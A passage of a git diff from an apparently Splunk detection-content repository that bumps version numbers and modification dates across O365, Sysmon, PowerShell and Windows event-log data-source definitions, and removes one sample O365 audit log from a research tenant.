Copilot access via Graph API source: AuditLogs.SignIns diff --git a/data_sources/o365.yml b/data_sources/o365.yml index 3c80645195..038e2a486a 100644 --- a/data_sources/o365.yml +++ b/data_sources/o365.yml @@ -1,8 +1,8 @@ name: O365 id: b32de97d-0074-4cca-853c-db22c392b6c0 -version: 3 +version: 4 creation_date: '2024-07-16' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs management activities in Microsoft 365, including administrative actions, user activities, and configuration changes across various services. mitre_components: @@ -93,6 +93,5 @@ supported_TA: - name: Splunk Add-on for Microsoft Office 365 url: https://splunkbase.splunk.com/app/4055 version: 6.1.1 - example_log: | {"AppAccessContext": {"IssuedAtTime": "2023-10-17T19:13:05", "UniqueTokenId": "g7oAmNhLoU-8qJVeWeAwAA"}, "CreationTime": "2023-10-17T19:19:59", "Id": "3d26a8cd-d8f4-42f9-1898-08dbcf460e5a", "Operation": "New-ManagementRoleAssignment", "OrganizationId": "aeb12f6b-1ff3-4a18-9ea2-29aa57e2ae08", "RecordType": 1, "ResultStatus": "True", "UserKey": "1003BFFD98415B4E", "UserType": 2, "Version": 1, "Workload": "Exchange", "ClientIP": "71.1.1.1:61528", "ObjectId": "splunkresearch.onmicrosoft.com\\attack-test", "UserId": "compromisedAdmin@splunkresearch.onmicrosoft.com", "AppId": "fb78d390-0c51-40cd-8e17-fdbfab77341b", "ClientAppId": "", "ExternalAccess": false, "OrganizationName": "splunkresearch.onmicrosoft.com", "OriginatingServer": "BYAPR18MB2408 (15.20.6863.047)", "Parameters": [{"Name": "User", "Value": "lowpriv@splunkresearch.onmicrosoft.com"}, {"Name": "Name", "Value": "attack-test"}, {"Name": "Role", "Value": "ApplicationImpersonation"}], "RequestId": "53a50583-e429-63a4-c9f7-8fbb14437e8a", "SessionId": "e2a028f1-d0e1-4ddb-a5a7-ec57343457ad"} diff --git a/data_sources/o365_add_app_role_assignment_grant_to_user_.yml b/data_sources/o365_add_app_role_assignment_grant_to_user_.yml index a9a1778a5e..9ad1ca95df 100644 --- a/data_sources/o365_add_app_role_assignment_grant_to_user_.yml +++ b/data_sources/o365_add_app_role_assignment_grant_to_user_.yml @@ -1,8 +1,8 @@ name: O365 Add app role assignment grant to user. id: ce1d7849-a1d2-47fd-b6eb-d7ef854a860c -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the assignment of an application role grant to a user in Microsoft 365, including details about the role, user, and application involved. mitre_components: diff --git a/data_sources/o365_add_app_role_assignment_to_service_principal_.yml b/data_sources/o365_add_app_role_assignment_to_service_principal_.yml index a5d2aa2198..48709f7882 100644 --- a/data_sources/o365_add_app_role_assignment_to_service_principal_.yml +++ b/data_sources/o365_add_app_role_assignment_to_service_principal_.yml @@ -1,8 +1,8 @@ name: O365 Add app role assignment to service principal. id: 785ba57a-ba7b-474e-97c8-9474e6e00b3a -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the assignment of an application role to a service principal in Microsoft 365, including details about the role, service principal, and application involved. mitre_components: diff --git a/data_sources/o365_add_mailboxpermission.yml b/data_sources/o365_add_mailboxpermission.yml index 55ce10ca11..142e8eb924 100644 --- a/data_sources/o365_add_mailboxpermission.yml +++ b/data_sources/o365_add_mailboxpermission.yml @@ -1,8 +1,8 @@ name: O365 Add-MailboxPermission id: 9c0babdb-bb15-449e-abba-0a9cdb3fc061 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the addition of mailbox permissions in Microsoft 365, including details about the mailbox, granted permissions, and the user or administrator performing the action. mitre_components: diff --git a/data_sources/o365_add_member_to_role_.yml b/data_sources/o365_add_member_to_role_.yml index 48b899aaf0..3aebf22c26 100644 --- a/data_sources/o365_add_member_to_role_.yml +++ b/data_sources/o365_add_member_to_role_.yml @@ -1,8 +1,8 @@ name: O365 Add member to role. id: 8b949f7c-4b5d-404f-9694-d7403c4ec096 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the addition of a member to a role in Microsoft 365, including details about the role, the added member, and the user or administrator performing the action. mitre_components: diff --git a/data_sources/o365_add_owner_to_application_.yml b/data_sources/o365_add_owner_to_application_.yml index 70dc0f8a82..65935a8715 100644 --- a/data_sources/o365_add_owner_to_application_.yml +++ b/data_sources/o365_add_owner_to_application_.yml @@ -1,8 +1,8 @@ name: O365 Add owner to application. id: da012cbf-af6e-40ee-a1ba-32a5f8da8f8a -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the addition of an owner to an application in Microsoft 365, including details about the application, the new owner, and the user or administrator performing the action. mitre_components: diff --git a/data_sources/o365_add_service_principal_.yml b/data_sources/o365_add_service_principal_.yml index d67ba403e4..7f62ad27c2 100644 --- a/data_sources/o365_add_service_principal_.yml +++ b/data_sources/o365_add_service_principal_.yml @@ -1,8 +1,8 @@ name: O365 Add service principal. id: 9c1ef9f5-bc30-4a47-a1bd-cb34484ee778 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the addition of a new service principal in Microsoft 365, including details about the associated application and the action initiator. mitre_components: diff --git a/data_sources/o365_change_user_license_.yml b/data_sources/o365_change_user_license_.yml index f9c06711b9..ce43dc1c82 100644 --- a/data_sources/o365_change_user_license_.yml +++ b/data_sources/o365_change_user_license_.yml @@ -1,8 +1,8 @@ name: O365 Change user license. id: 1029a20d-3d0d-4fb9-b5e2-22ac5380b20a -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs changes to user licenses in Microsoft 365, including additions, removals, or updates to service plans associated with a user account. mitre_components: diff --git a/data_sources/o365_consent_to_application_.yml b/data_sources/o365_consent_to_application_.yml index 0b8bd41dbe..3e3cfc54c2 100644 --- a/data_sources/o365_consent_to_application_.yml +++ b/data_sources/o365_consent_to_application_.yml @@ -1,8 +1,8 @@ name: O365 Consent to application. id: 0a15a464-ef51-4614-9a07-a216eb9817db -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs user or administrator consent to an application's permissions in Microsoft 365, including details about the application, granted permissions, and the consenting user or process. mitre_components: diff --git a/data_sources/o365_disable_strong_authentication_.yml b/data_sources/o365_disable_strong_authentication_.yml index d4d398ae75..43e6c21b8a 100644 --- a/data_sources/o365_disable_strong_authentication_.yml +++ b/data_sources/o365_disable_strong_authentication_.yml @@ -1,8 +1,8 @@ name: O365 Disable Strong Authentication. id: 235381c4-382a-4183-b818-a51c3ce12187 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the disabling of strong authentication (e.g., multi-factor authentication) for a user or group in Microsoft 365, including details about the affected accounts and the action initiator. mitre_components: diff --git a/data_sources/o365_mailitemsaccessed.yml b/data_sources/o365_mailitemsaccessed.yml index cdc50fc361..25ef77f53c 100644 --- a/data_sources/o365_mailitemsaccessed.yml +++ b/data_sources/o365_mailitemsaccessed.yml @@ -1,8 +1,8 @@ name: O365 MailItemsAccessed id: 3d5188eb-341a-4b46-9caa-aade4047d027 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs access to mailbox items in Microsoft 365, including details about the user accessing the items, the accessed content, and the method of access. mitre_components: diff --git a/data_sources/o365_modifyfolderpermissions.yml b/data_sources/o365_modifyfolderpermissions.yml index 42a419ca0d..cf1fcc5e42 100644 --- a/data_sources/o365_modifyfolderpermissions.yml +++ b/data_sources/o365_modifyfolderpermissions.yml @@ -1,8 +1,8 @@ name: O365 ModifyFolderPermissions id: 0a8c1080-68c2-46d7-8324-2e7d97bb6e2f -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs modifications to folder permissions in Microsoft 365, including updates to access levels, user assignments, and sharing settings. mitre_components: diff --git a/data_sources/o365_set_company_information_.yml b/data_sources/o365_set_company_information_.yml index 2c96463f54..a0a76ab03b 100644 --- a/data_sources/o365_set_company_information_.yml +++ b/data_sources/o365_set_company_information_.yml @@ -1,8 +1,8 @@ name: O365 Set Company Information. id: 06c6d576-f032-41e3-b15d-80a434ce13d8 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs updates to organizational settings and company information in Microsoft 365, including changes to contact details, branding, and configuration policies. mitre_components: diff --git a/data_sources/o365_update_application_.yml b/data_sources/o365_update_application_.yml index 0a4c122933..2e94c1fb90 100644 --- a/data_sources/o365_update_application_.yml +++ b/data_sources/o365_update_application_.yml @@ -1,8 +1,8 @@ name: O365 Update application. id: 62159133-911b-4c63-9e30-a6a8c89195ca -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs updates made to applications in Microsoft 365, including changes to configurations, permissions, and role assignments. mitre_components: diff --git a/data_sources/o365_update_authorization_policy_.yml b/data_sources/o365_update_authorization_policy_.yml index d556ecc1b6..8ce2e295bb 100644 --- a/data_sources/o365_update_authorization_policy_.yml +++ b/data_sources/o365_update_authorization_policy_.yml @@ -1,8 +1,8 @@ name: O365 Update authorization policy. id: d40e6a20-4d64-404c-8351-2caae8228d34 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs changes to authorization policies in Microsoft 365, including updates to access controls, permissions, and security settings. mitre_components: diff --git a/data_sources/o365_update_user_.yml b/data_sources/o365_update_user_.yml index 7055f6a790..2ef0b0f61a 100644 --- a/data_sources/o365_update_user_.yml +++ b/data_sources/o365_update_user_.yml @@ -1,8 +1,8 @@ name: O365 Update user. id: a05fd01e-34d9-4233-9089-11272416b531 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs updates to user account properties in Microsoft 365, including changes to roles, permissions, and profile information. mitre_components: diff --git a/data_sources/o365_userloggedin.yml b/data_sources/o365_userloggedin.yml index 17c887a8ce..c48255b068 100644 --- a/data_sources/o365_userloggedin.yml +++ b/data_sources/o365_userloggedin.yml @@ -1,8 +1,8 @@ name: O365 UserLoggedIn id: ed29c8c4-4053-419c-b133-16abf2a1c4c9 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs successful login events by users in Microsoft 365, including details about the user account, IP address, and session metadata. mitre_components: diff --git a/data_sources/o365_userloginfailed.yml b/data_sources/o365_userloginfailed.yml index ba31172563..40056fd2a1 100644 --- a/data_sources/o365_userloginfailed.yml +++ b/data_sources/o365_userloginfailed.yml @@ -1,8 +1,8 @@ name: O365 UserLoginFailed id: 6099b33d-d581-43ed-8401-911862590361 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs failed login attempts by users in Microsoft 365, including details about the user account, IP address, and reason for failure. mitre_components: diff --git a/data_sources/powershell_script_block_logging_4104.yml b/data_sources/powershell_script_block_logging_4104.yml index f60aa017a7..8c14ab25ef 100644 --- a/data_sources/powershell_script_block_logging_4104.yml +++ b/data_sources/powershell_script_block_logging_4104.yml @@ -1,8 +1,8 @@ name: Powershell Script Block Logging 4104 id: 5cfd0c72-d989-47a0-92f9-6edc6f8d3564 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs detailed content of PowerShell script blocks as they are executed, including the full command text and context for the execution. mitre_components: diff --git a/data_sources/sysmon_eventid_10.yml b/data_sources/sysmon_eventid_10.yml index 7d4ecb5277..cb82bb9d30 100644 --- a/data_sources/sysmon_eventid_10.yml +++ b/data_sources/sysmon_eventid_10.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 10 id: 659cd5a8-148a-4c59-ade1-05f41ac1b096 -version: 5 +version: 6 creation_date: '2024-05-22' -modification_date: '2026-09-21' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs events where one process accesses another process, typically for memory reads or injections, including details about the source and target processes. mitre_components: diff --git a/data_sources/sysmon_eventid_11.yml b/data_sources/sysmon_eventid_11.yml index 3979ac3a63..e04457567a 100644 --- a/data_sources/sysmon_eventid_11.yml +++ b/data_sources/sysmon_eventid_11.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 11 id: f3db9179-f4f5-416d-bc03-39f4d4ff699e -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of a new file, including details about the file path, hash information, and associated process metadata. mitre_components: diff --git a/data_sources/sysmon_eventid_12.yml b/data_sources/sysmon_eventid_12.yml index 1e1e0d5b7b..1f4fa289f0 100644 --- a/data_sources/sysmon_eventid_12.yml +++ b/data_sources/sysmon_eventid_12.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 12 id: 3ef28798-8eaa-4fd2-b074-6f36d08a1b33 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of a new registry key, including details about the key name, registry path, and associated process metadata. mitre_components: diff --git a/data_sources/sysmon_eventid_13.yml b/data_sources/sysmon_eventid_13.yml index be3d951a1e..2689eadb6a 100644 --- a/data_sources/sysmon_eventid_13.yml +++ b/data_sources/sysmon_eventid_13.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 13 id: 19cd00ee-f65f-48ca-bb08-64aac28638ce -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs changes to a registry key, including details about the modified key, value, and associated process. mitre_components: diff --git a/data_sources/sysmon_eventid_14.yml b/data_sources/sysmon_eventid_14.yml index 8e04c633c2..94dcda0e0f 100644 --- a/data_sources/sysmon_eventid_14.yml +++ b/data_sources/sysmon_eventid_14.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 14 id: 77c4b345-0eab-415e-98c6-f4114b021723 -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Sysmon EventID 14 source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/data_sources/sysmon_eventid_15.yml b/data_sources/sysmon_eventid_15.yml index d06b35240b..1ce6c12f12 100644 --- a/data_sources/sysmon_eventid_15.yml +++ b/data_sources/sysmon_eventid_15.yml @@ -2,7 +2,7 @@ name: Sysmon EventID 15 id: 95785e02-93b4-47e2-81f1-be326295348e version: 5 creation_date: '2024-05-22' -modification_date: '2026-10-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of a new file stream, including details about the file stream's hash, path, and associated process metadata. mitre_components: diff --git a/data_sources/sysmon_eventid_17.yml b/data_sources/sysmon_eventid_17.yml index 84ec3daf30..c11c2e7711 100644 --- a/data_sources/sysmon_eventid_17.yml +++ b/data_sources/sysmon_eventid_17.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 17 id: 08924246-c8e8-4c95-a9fc-633c43cc82df -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Sysmon EventID 17 logs details about the detection of a named pipe. mitre_components: diff --git a/data_sources/sysmon_eventid_18.yml b/data_sources/sysmon_eventid_18.yml index f43cc17cb5..ab50367cbe 100644 --- a/data_sources/sysmon_eventid_18.yml +++ b/data_sources/sysmon_eventid_18.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 18 id: 37eb3554-214e-4e66-af10-c3ffc5b8ca82 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the connection to a named pipe, including details about the pipe name, source and destination processes, and communication direction. mitre_components: diff --git a/data_sources/sysmon_eventid_22.yml b/data_sources/sysmon_eventid_22.yml index f7e1f7ff5c..25c70fc906 100644 --- a/data_sources/sysmon_eventid_22.yml +++ b/data_sources/sysmon_eventid_22.yml @@ -2,7 +2,7 @@ name: Sysmon EventID 22 id: 911538b2-eba7-4d3e-85e8-d82d380c37bf version: 5 creation_date: '2024-05-22' -modification_date: '2026-10-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs DNS query events, including details about the queried domain, source IP, query type, and response data. mitre_components: diff --git a/data_sources/sysmon_eventid_23.yml b/data_sources/sysmon_eventid_23.yml index 4481ca33b2..5403c29cf5 100644 --- a/data_sources/sysmon_eventid_23.yml +++ b/data_sources/sysmon_eventid_23.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 23 id: 5ea2721d-f60c-4f48-a047-47d514e327c3 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the deletion of a file, including details about the file path, associated process, and the time of deletion. mitre_components: diff --git a/data_sources/sysmon_eventid_26.yml b/data_sources/sysmon_eventid_26.yml index 53b59846d7..a426be1f2f 100644 --- a/data_sources/sysmon_eventid_26.yml +++ b/data_sources/sysmon_eventid_26.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 26 id: 77f946e0-4afb-4789-8d9e-c29c1658f501 -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Sysmon EventID 26 source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/data_sources/sysmon_eventid_29.yml b/data_sources/sysmon_eventid_29.yml index 5f3fffbfb4..048130c372 100644 --- a/data_sources/sysmon_eventid_29.yml +++ b/data_sources/sysmon_eventid_29.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 29 id: 06c61e04-2d07-4e85-bcd5-8110938b1b18 -version: 2 +version: 3 creation_date: '2025-11-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Teoderick Contreras, Splunk description: Data source object for Sysmon EventID 29 source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/data_sources/sysmon_eventid_3.yml b/data_sources/sysmon_eventid_3.yml index c0cff19f4a..1ff82a75d5 100644 --- a/data_sources/sysmon_eventid_3.yml +++ b/data_sources/sysmon_eventid_3.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 3 id: 01d84dff-4e26-422c-9389-6a579ee6e75b -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs details of network connections initiated by processes, including source and destination IPs, ports, protocols, and the associated process metadata. mitre_components: diff --git a/data_sources/sysmon_eventid_6.yml b/data_sources/sysmon_eventid_6.yml index 4c520e4677..3e3725b969 100644 --- a/data_sources/sysmon_eventid_6.yml +++ b/data_sources/sysmon_eventid_6.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 6 id: eadc297a-c20c-45a1-8fac-74ad54019767 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the loading of a driver into the kernel or user mode, including details about the driver name, file path, and associated process metadata. mitre_components: diff --git a/data_sources/sysmon_eventid_7.yml b/data_sources/sysmon_eventid_7.yml index 1d61b64f3f..0e2835038b 100644 --- a/data_sources/sysmon_eventid_7.yml +++ b/data_sources/sysmon_eventid_7.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 7 id: 45512fa5-4d55-4088-9d51-f4dedc16fdff -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the loading of an image (module) into a process, including details about the image name, file path, and hash information. mitre_components: diff --git a/data_sources/sysmon_eventid_8.yml b/data_sources/sysmon_eventid_8.yml index af7b40845d..83aebe9c14 100644 --- a/data_sources/sysmon_eventid_8.yml +++ b/data_sources/sysmon_eventid_8.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 8 id: df7a786c-ade0-48f0-8596-26f10d169f7d -version: 5 +version: 6 creation_date: '2024-05-22' -modification_date: '2026-06-29' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of a new thread in a process, including details about the thread ID, start address, and source process. mitre_components: diff --git a/data_sources/windows_active_directory_admon.yml b/data_sources/windows_active_directory_admon.yml index 2bcb215aa5..66c71adee9 100644 --- a/data_sources/windows_active_directory_admon.yml +++ b/data_sources/windows_active_directory_admon.yml @@ -1,8 +1,8 @@ name: Windows Active Directory Admon id: 22bbf4e4-d313-43c1-98ee-808b8775519d -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs administrative actions within Active Directory, including user and group modifications, permission changes, and policy updates. mitre_components: diff --git a/data_sources/windows_event_log_application_15457.yml b/data_sources/windows_event_log_application_15457.yml index fe3598f29c..ac3e79ad69 100644 --- a/data_sources/windows_event_log_application_15457.yml +++ b/data_sources/windows_event_log_application_15457.yml @@ -1,8 +1,8 @@ name: Windows Event Log Application 15457 id: 4491537e-520c-46f7-9209-f56f852aa237 -version: 2 +version: 3 creation_date: '2025-02-25' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Michael Haag, Splunk description: Data source object for Windows Event Log Application 15457 source: XmlWinEventLog:Application diff --git a/data_sources/windows_event_log_application_2282.yml b/data_sources/windows_event_log_application_2282.yml index 8a81db988a..4ffac037c7 100644 --- a/data_sources/windows_event_log_application_2282.yml +++ b/data_sources/windows_event_log_application_2282.yml @@ -1,8 +1,8 @@ name: Windows Event Log Application 2282 id: 4490537e-5e0c-46f7-9209-f56f852aa237 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event in IIS when a module DLL fails to load due to a configuration issue, including details about the module and error message. mitre_components: diff --git a/data_sources/windows_event_log_application_3000.yml b/data_sources/windows_event_log_application_3000.yml index 292a0feaf9..f370e2f3bd 100644 --- a/data_sources/windows_event_log_application_3000.yml +++ b/data_sources/windows_event_log_application_3000.yml @@ -1,8 +1,8 @@ name: Windows Event Log Application 3000 id: 3911945d-9222-408d-b851-9b1bce4c2d24 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the termination of a process, including details about the process, its termination code, and timestamp. mitre_components: diff --git a/data_sources/windows_event_log_application_8128.yml b/data_sources/windows_event_log_application_8128.yml index a86c3b901b..9535f0b0af 100644 --- a/data_sources/windows_event_log_application_8128.yml +++ b/data_sources/windows_event_log_application_8128.yml @@ -1,8 +1,8 @@ name: Windows Event Log Application 8128 id: 4491537e-5e0c-46f7-9209-f56f852aa237 -version: 2 +version: 3 creation_date: '2025-02-25' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Michael Haag, Splunk description: Data source object for Windows Event Log Application 8128 source: XmlWinEventLog:Application diff --git a/data_sources/windows_event_log_appxdeployment_server_400.yml b/data_sources/windows_event_log_appxdeployment_server_400.yml index 48c5e0cd5d..0361fbdf1a 100644 --- a/data_sources/windows_event_log_appxdeployment_server_400.yml +++ b/data_sources/windows_event_log_appxdeployment_server_400.yml @@ -1,8 +1,8 @@ name: Windows Event Log AppXDeployment-Server 400 id: 3e5f9d2a-b8c7-4d1e-a6f3-7b9c8d5e4f2a -version: 2 +version: 3 creation_date: '2025-08-18' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Michael Haag, Splunk description: 'This data source captures Windows Event Logs from the Microsoft-Windows-AppXDeploymentServer/Operational channel, specifically focusing on EventCode 400. These events are generated when a package deployment operation begins, providing details about the package being deployed. diff --git a/data_sources/windows_event_log_appxdeployment_server_854.yml b/data_sources/windows_event_log_appxdeployment_server_854.yml index 46037da27b..df8dd3bf2b 100644 --- a/data_sources/windows_event_log_appxdeployment_server_854.yml +++ b/data_sources/windows_event_log_appxdeployment_server_854.yml @@ -1,8 +1,8 @@ name: Windows Event Log AppXDeployment-Server 854 id: 4d2e6f8a-c9b7-5a3e-8d1f-2e9c7b5a4f3d -version: 2 +version: 3 creation_date: '2025-08-18' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Michael Haag, Splunk description: 'This data source captures Windows Event Logs from the Microsoft-Windows-AppXDeploymentServer/Operational channel, specifically focusing on EventCode 854. These events are generated when an MSIX/AppX package has been successfully installed on a system. diff --git a/data_sources/windows_event_log_appxdeployment_server_855.yml b/data_sources/windows_event_log_appxdeployment_server_855.yml index cfb5b49e04..16660d04fc 100644 --- a/data_sources/windows_event_log_appxdeployment_server_855.yml +++ b/data_sources/windows_event_log_appxdeployment_server_855.yml @@ -1,8 +1,8 @@ name: Windows Event Log AppXDeployment-Server 855 id: 4491537c-521c-46f7-9209-f56f852aa231 -version: 2 +version: 3 creation_date: '2025-08-18' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Michael Haag, Splunk description: 'This data source captures Windows Event Logs from the Microsoft-Windows-AppXDeploymentServer/Operational channel, specifically focusing on EventCode 855. These events are generated when a package deployment operation completes successfully, providing details about the packages that were installed or updated. diff --git a/data_sources/windows_event_log_appxpackaging_171.yml b/data_sources/windows_event_log_appxpackaging_171.yml index 45186d4046..70d9f4624a 100644 --- a/data_sources/windows_event_log_appxpackaging_171.yml +++ b/data_sources/windows_event_log_appxpackaging_171.yml @@ -1,8 +1,8 @@ name: Windows Event Log AppXPackaging 171 id: 2d0f8e3c-a2d7-4b9e-8f1c-6a5d7e3e9f2b -version: 2 +version: 3 creation_date: '2025-08-18' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Michael Haag, Splunk description: 'This data source captures Windows Event Logs from the Microsoft-Windows-AppXPackaging/Operational channel, specifically focusing on EventCode 171. These events are generated when a user clicks on or attempts to interact with an MSIX package, even if the package is not fully installed. diff --git a/data_sources/windows_event_log_defender_1116.yml b/data_sources/windows_event_log_defender_1116.yml index 4448860639..5d4ff4dee4 100644 --- a/data_sources/windows_event_log_defender_1116.yml +++ b/data_sources/windows_event_log_defender_1116.yml @@ -1,8 +1,8 @@ name: Windows Event Log Defender 1116 id: 588d6a99-14eb-4061-aec3-55cc54d11d6b -version: 1 +version: 2 creation_date: '2026-08-17' -modification_date: '2026-08-17' +modification_date: '2026-10-14' author: Onur Mustafa Erdogan, Splunk description: Logs an event when a Windows Defender detects a malware or potentially unwanted software. mitre_components: diff --git a/data_sources/windows_event_log_defender_1117.yml b/data_sources/windows_event_log_defender_1117.yml index d56deeab50..e4283adc5b 100644 --- a/data_sources/windows_event_log_defender_1117.yml +++ b/data_sources/windows_event_log_defender_1117.yml @@ -1,8 +1,8 @@ name: Windows Event Log Defender 1117 id: c620d5f3-53d6-4697-abf5-b2c8434e7ff9 -version: 1 +version: 2 creation_date: '2026-08-17' -modification_date: '2026-08-17' +modification_date: '2026-10-14' author: Onur Mustafa Erdogan, Splunk description: Logs an event when a Windows Defender takes an action against detected threat. mitre_components: diff --git a/data_sources/windows_event_log_defender_1121.yml b/data_sources/windows_event_log_defender_1121.yml index 035b13e271..c095f50d7d 100644 --- a/data_sources/windows_event_log_defender_1121.yml +++ b/data_sources/windows_event_log_defender_1121.yml @@ -1,8 +1,8 @@ name: Windows Event Log Defender 1121 id: 84a254c5-7900-4b52-a324-a176adb7c11d -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a Windows Defender attack surface reduction rule fires in block mode. mitre_components: diff --git a/data_sources/windows_event_log_defender_1122.yml b/data_sources/windows_event_log_defender_1122.yml index ce8fec4f58..1d56905753 100644 --- a/data_sources/windows_event_log_defender_1122.yml +++ b/data_sources/windows_event_log_defender_1122.yml @@ -1,8 +1,8 @@ name: Windows Event Log Defender 1122 id: 4a2d0499-f489-4557-82f4-f357025cf3e7 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a process attempts to load a DLL that is blocked by an attack surface reduction rule. mitre_components: diff --git a/data_sources/windows_event_log_defender_1125.yml b/data_sources/windows_event_log_defender_1125.yml index 4186e7c064..2f59c884a8 100644 --- a/data_sources/windows_event_log_defender_1125.yml +++ b/data_sources/windows_event_log_defender_1125.yml @@ -1,8 +1,8 @@ name: Windows Event Log Defender 1125 id: 0cddda76-6fd8-4fb6-9026-f23a2761c95d -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Defender 1125 source: XmlWinEventLog:Security diff --git a/data_sources/windows_event_log_defender_1126.yml b/data_sources/windows_event_log_defender_1126.yml index 12f8d190b6..555c294a65 100644 --- 